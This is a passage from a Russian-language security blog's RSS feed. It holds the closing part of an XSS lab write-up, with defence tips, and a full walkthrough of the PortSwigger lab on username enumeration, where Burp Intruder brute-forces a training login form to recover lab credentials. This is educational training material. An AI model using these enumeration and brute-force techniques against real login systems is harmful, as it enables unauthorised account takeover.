    <img src="https://img2.teletype.in/files/9a/fc/9afc8b69-0ce7-4a2e-82a7-2d270296543f.png" width="456" />
    <figcaption>Теперь всплывающее сообщение появляется всякий раз, когда мы наводим мышку на поле, куда поместили payload</figcaption>
  </figure>
  <p id="24y4">Лаба оказалась ненамного сложнее, нужно было лишь немного подумать над способом обхода незначительных ограничений. </p>
  <h2 id="zxIt">Вывод</h2>
  <p id="nDOi">На этом вводная статья  подходит к концу, однако в дальнейшем продолжим разбираться с XSS, разбирая другие векторы и наращивая сложность рассматриваемых задач.</p>
  <p id="gR6c">Хочется лишь добавить про возможные способы защиты от XSS:</p>
  <ul id="bsXu">
    <li id="osYz">Используйте безопасные фреймворки и библиотеки, которые экранируют пользовательский ввод</li>
    <li id="vWah">Настройте политику безопасности контента (CSP) для предотвращения выполнения несанкционированного JS-кода</li>
    <li id="67g3">Фильтруйте и проверяйте данные на сервере </li>
  </ul>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mountainalmond/via_different_responses</guid><link>https://teletype.in/@mountainalmond/via_different_responses?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond</link><comments>https://teletype.in/@mountainalmond/via_different_responses?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mountainalmond#comments</comments><dc:creator>mountainalmond</dc:creator><title>PortSwigger Web Academy             Lab: Username enumeration via different responses</title><pubDate>Thu, 14 Nov 2024 18:33:57 GMT</pubDate><category>Кибербезопасность</category><description><![CDATA[<img src="https://img4.teletype.in/files/ba/3c/ba3c21eb-8a76-406b-a9e5-d1fea9e95e09.jpeg"></img>В данной лабораторной работе, исходя из постановки задачи необходимо будет перебрать списки возможных пользователей и паролей (атака методом Brute Force). Ссылка на лабораторную работу: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses]]></description><content:encoded><![CDATA[
  <h2 id="H74z">Вводная часть</h2>
  <p id="Hm1Z">В данной лабораторной работе, исходя из постановки задачи, необходимо будет перебрать списки возможных пользователей и паролей (атака методом <u>Brute Force</u>). Ссылка на лабораторную работу: <a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses" target="_blank">https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses</a></p>
  <h2 id="0BXH">Выбор инструментов и настройка</h2>
  <p id="hmXe">В любой задаче правильный туллинг и инструментация - уже 20% результата, а где-то даже больше. Будем использовать Burp Suite community edition (поставляется в наборе инструментов дистрибутива Kali Linux). Burp Suite работает в режиме proxy для анализа и изменения отправляемых запросов и получения ответов. Для быстрого переключения proxy в браузере при работе с Burp Suite советую использовать расширение FoxyProxy: <a href="https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard/" target="_blank">https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard/</a>.</p>
  <h2 id="rMud">Прохождение</h2>
  <p id="4CKK">В описании к данной работе нам предоставляются списки потенциальных логинов и паролей. Но для начала попробуем вручную протестировать форму авторизации (чтобы понять механизм авторизации и захватить несколько запросов для последующей работы с Burp Suite).</p>
  <p id="QleZ"></p>
  <p id="RtQN"></p>
  <figure id="EfNa" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/ba/3c/ba3c21eb-8a76-406b-a9e5-d1fea9e95e09.jpeg" width="880" />
    <figcaption>Форма авторизации</figcaption>
  </figure>
  <p id="iGkT"></p>
  <figure id="17zb" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/7a/0c/7a0c8f64-b2bf-42c4-a7d0-ebca4d98fe8d.jpeg" width="749" />
    <figcaption>Неудачная попытка входа</figcaption>
  </figure>
  <p id="3vwp">Заметим, как реагирует форма авторизации на попытку входа с неправильными учетными данными. Теперь рассмотрим как выглядит данный запрос в Burp Suite (<u>Предварительно включив его перед работой и настроив prox</u>y).</p>
  <figure id="0qZ8" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/36/2b/362bd387-59d0-444a-8648-c5fbaec3fef9.jpeg" width="495" />
    <figcaption>Запрос в Burp Suite</figcaption>
  </figure>
  <figure id="vlyk" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/f6/a4/f6a4b5a9-bea8-4294-be15-4a13c085f3d5.jpeg" width="534" />
    <figcaption>Ответ в Burp Suite</figcaption>
  </figure>
  <p id="5AVp">Для перебора логинов и паролей воспользуемся Intruder-ом. С помощью него можно будет формировать запросы с устанавливаемыми из подготовленных списков полями. В описании к работе нам предлагается по 100 возможных паролей и логинов для входа. Для полного перебора сразу логинов и паролей понадобится 100000 запросов, что Burp Suite в community версии в однопоточном режиме будет делать ощутимо долго. Поэтому для начала попробуем подобрать правильный логин, а потом уже пароль (максимум понадобится 200 запросов).</p>
  <p id="0LyD">Отправим наш тестовый неудачный запрос на авторизацию в Intruder. Выберем тип атаки Sniper (будет доступен один набор payload-ов). Добавим метки вокруг поля с предполагаемым логином.</p>
  <figure id="yPei" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/16/c9/16c9f8ff-a1e1-4986-9674-d5bd5ee4c62a.png" width="771" />
    <figcaption>Подготовка в Intruder</figcaption>
  </figure>
  <figure id="UAkO" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/55/9a/559a1dc8-37b2-4223-9456-97106d12acc4.png" width="507" />
    <figcaption>Payload-ы</figcaption>
  </figure>
  <figure id="lmJW" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/0b/73/0b739967-938a-404b-ad52-9f1454edbf8f.png" width="1108" />
    <figcaption>Отличающийся по длине ответ (потенциально наш клиент)</figcaption>
  </figure>
  <p id="YKOL">В названии работы была <em>подсказка</em>, поэтому и стоит обратить внимание на отличающуюся длину ответа (да и в любом случае стоило бы обратить внимание).</p>
  <figure id="6tdQ" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/07/4d/074df43f-eb53-4006-ae7f-cfeace91e5ce.png" width="452" />
    <figcaption>Предположение было верным (вместо сообщения Invalid user получили сообщение Incorrect password)</figcaption>
  </figure>
  <p id="qwZP">Теперь, когда у нас есть логин пользователя мы сможем подобрать его пароль. Теперь в intruder мы зафиксируем имя пользователя &lt;ar&gt;. А пароль будем перебирать из предложенного в работе списка. </p>
  <figure id="Rz7g" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/b2/f4/b2f4e88b-1538-470e-9594-2bbceb34c098.png" width="735" />
    <figcaption>302 redirect (возможно мы смогли подобрать верный пароль)</figcaption>
  </figure>
  <p id="K4lq">Теперь попробуем авторизоваться с учетными данными ar:thunder.</p>
  <figure id="SUn0" class="m_original" data-caption-align="center">
    <img src="https://img1.teletype.in/files/c2/2c/c22c3292-34d9-4395-8391-68d1e21d15e2.png" width="740" />
    <figcaption>Удачный вход с подобранными учетными данными</figcaption>
  </figure>
  <h2 id="bdZP">Вывод</h2>
  <p id="F88z">Из-за изменения вывода информационного сообщения при попытке входа с правильным логином, но неправильным паролем мы смогли подобрать пароль за 200 запросов. Даже если бы сообщение не изменялось мы бы смогли подобрать данные за 10000 запросов, т.к. форма авторизации не защищена от Brute-force атак. </p>

]]></content:encoded></item></channel></rss>